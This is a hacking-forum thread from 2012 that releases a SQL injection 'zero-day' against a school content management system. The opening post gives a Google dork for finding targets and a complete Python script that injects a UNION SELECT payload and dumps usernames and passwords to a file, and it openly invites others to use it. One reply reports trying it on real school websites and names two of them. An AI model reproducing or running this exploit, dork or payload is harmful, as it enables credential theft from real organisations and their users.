Hack Forums
➥ SchoolCMS SQL Injection [0DAY] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: ➥ SchoolCMS SQL Injection [0DAY] (/showthread.php?tid=3056529)

Pages: Pages 1 2 3 4


➥ SchoolCMS SQL Injection [0DAY] - Dyme - Nov 28, 2012

Today I am very proud to release to you my first 0day. This will also be my 1000th post here on HF and I will shortly be getting upgraded to l33t. Thanks to all who've helped me learn so far; there will be more 0days to come!

The CMS isn't crazy popular but I found around 7 exploitable sites by just using a dork I made. Below are the details:
Code
#Title: SchoolCMS SQL Injection
#Date: 11/28/12
#Author: Dyme
#Vendor: www.poweritschools.com
#Google Dork: inurl:/old_core/newsletter.php
#Tested on: Windows 8, Ubuntu 12.04

The vulnerability was found in the newsletter.php script.

Here is the actual exploit I wrote. The script automatically injects the site for you and dumps the SchoolCMS usernames and password into dump.txt. It's written in python (inb4useperln00b) and the code might be a bit messy to you, but hey, it works! 🙂

None of that post + PM bullshit, LEECHERS GO WILD!
Code
#!/usr/bin/python
import urllib2
import re

def get_sauce(site):
    response = urllib2.urlopen(site)
    page_source = response.read()
    return page_source

def inject(site):
    eqpos = site.find("=");
    nsitelist = list(site)
    nsitelist.insert(eqpos+1, "-")
    nsite = ''.join(nsitelist)
    dump = open('dump.txt', 'w')
    limit = 0
    syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+authuser+LIMIT+" + str(limit) + ",1--"
    sauce = get_sauce(syntax)
    while "Error : Unable to access the templates directory" in sauce:
        syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+authuser+LIMIT+" + str(limit) + ",1--"
        sauce = get_sauce(syntax)
        if "Error : Unable to access the templates directory" in sauce:
            r = re.findall(">(.+):(.+)  ", sauce)[0]
            print r[0] + ":" + r[1]
            dump.write(r[0] + ":" + r[1] + "\n")
            limit += 1
        else:
            print "###########################################"
            print "#All logins successfully dumped           #"
            print "#Logins saved in username:password format #"
            print "#Logins dumped to dump.txt                #"
            print "#Bye!                                     #"
            print "###########################################"

print " ______                               "
print "|_   _ `.                             "
print "  | | `. \ _   __  _ .--..--.  .---.  "
print "  | |  | |[ \ [  ][ `.-. .-. |/ /__\\ "
print " _| |_.' / \ '/ /  | | | | | || \__., "
print "|______.'[\_:  /  [___||__||__]'.__.' "
print "          \__.'                       "
print "######################################"
print "#Title: SchoolCMS SQL Injection      #"
print "#Date: 11/28/12                      #"
print "#Author: Dyme                        #"
print "#Vendor: www.poweritschools.com      #"
print "#Tested on: Windows 8, Ubuntu 12.04  #"
print "######################################"

site = raw_input("Vulnerable link: ")
inject(site)

[img]http://img803.imageshack.us/img803/3429/f1be483ebd5d4a67aeb855e.png[/img]

Enjoy! ☜(˚▽˚)☞


* - xx 0x0 xx - Nov 28, 2012

so nice work thx for share and i hope to find my first 0day 2 :)

keep going


* - Apple J4ck. - Nov 28, 2012

Great work Dyme .
didn't had time to look into it but ill read it later .
also congratz on 1000 posts ;3


* - PuzzuS - Nov 28, 2012

Nicely done. :D thanks for sharing.

If I'm not mistaken, the background is SAO?


* - mObiIe - Nov 28, 2012

Impressive! Nice find brotha, unfortunately due to server extension privileges was unable to shell. 😭

http://www.germantowncsd.org/file/10742/view
http://www.williamstownelementary.org/file/6306/view

btw ..Congrats on your 1,000th post. 🎉


* - SoLong - Nov 29, 2012

Nice find right there!
Congrats on your first 0day, hopefully there will be more :3


* - Jᴏrd - Nov 29, 2012

Congrats on 1,000 Dyme you crazy fooker :)


* - Illicit - Nov 29, 2012

Congratz on this :P Im going to start looking for some more 0day's now :P

OT : Good to see you are getting 1337!


* - Zixem - Nov 29, 2012

Congratulations on 1k posts and on finding your fist 0day OP.


* - Catzbow - Nov 29, 2012

Well, very good for your first 0day, you're getting better and better.. :3 .


* - happyhaxor - Nov 29, 2012

Great work mate!! :D :D :D

#35CharacterShit


* - ajkaro - Nov 29, 2012

Congratulation for your 1000 posts. 👍🎉


* - Dyme - Nov 29, 2012

(Nov 28, 2012 10:09 PM)PuzzuS Wrote:  Nicely done. :D thanks for sharing.

If I'm not mistaken, the background is SAO?

Yeah, I'm loving it so far :3

Thanks for the love everybody. There will be more to come!


* - LevelUp - Nov 29, 2012

Congratulations on getting your first 0day!


* - PuzzuS - Nov 29, 2012

(Nov 29, 2012 01:04 PM)Dyme Wrote:  Yeah, I'm loving it so far :3

Me too,the story is beautiful :3

---+---+---+